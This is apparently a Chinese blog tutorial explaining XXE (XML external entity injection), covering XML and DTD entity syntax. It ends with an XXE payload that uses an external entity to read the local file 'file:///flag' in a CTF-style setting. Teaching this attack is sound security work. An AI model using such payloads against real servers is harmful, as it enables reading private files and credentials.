浅谈XXE漏洞
## 简介 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞。 XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成一系列的危害。 XXE漏洞触发的点往往是用户能够自定义以下xml内容,服务器没有对上传的xml文件进行过滤,导致可上传恶意xml文件。 ## 关于XML XML是被设计用来传输和存储数据的可扩展标记语言 XML的语法和HTML相似,但元素的名称是可以自定义的,元素的属性要加引号 这是一个XML文档: ```xml <!--这是一个XML文档--> <warp attr="attr"> <name>LQK</name> <age>19</age> </warp> ``` 文档类型定义(DTD)可定义合法的XML文档构建模块,DTD应当按下面的语法进行包装。 ```xml <!--内部声明--> <!DOCTYPE 根元素 [元素声明]> <!--外部声明--> <!DOCTYPE 根元素 SYSTEM "文件名"> ``` 元素声明:元素声明可以由实体构成。 ```xml <!内部实体--> <!ENTITY 实体名称 "实体的值"> <!外部实体--> <!ENTITY 实体名称 SYSTEM "URI"> <!参数实体--> <!ENTITY % 实体名称 "实体的值"> <!ENTITY % 实体名称 SYSTEM "URL"> ``` 使用演示(内部实体): ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [<!ENTITY name "LQK">]> <warp> <value>&name;</value> </warp> ``` 使用演示(外部实体): ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [<!ENTITY name SYSTEM "URL">]> <warp> <value>&name;</value> </warp> ``` 使用演示(参数实体): ```xml <!--参数实体在DTD中引用,其他在XML文档中引用--> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [<!ENTITY % name "LQK">%name;]> ``` ## XXE漏洞利用思路 假设我们能控制一段XML代码,并能够查看,下面构建XML代码: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE XXE [ <!ELEMENT name ANY > <!--这里利用外部实体查看/flag--> <!ENTITY payload SYSTEM "file:///flag" > ]> <!--这里假设网页将tag下的name作为数据回显--> <tag> <name>&payload;</name> </tag> ``` 然后就可以查看网页上的flag了。
创建时间:2023-01-14
|
最后修改:2023-12-27
|
©允许规范转载
酷酷番茄
首页
文章
友链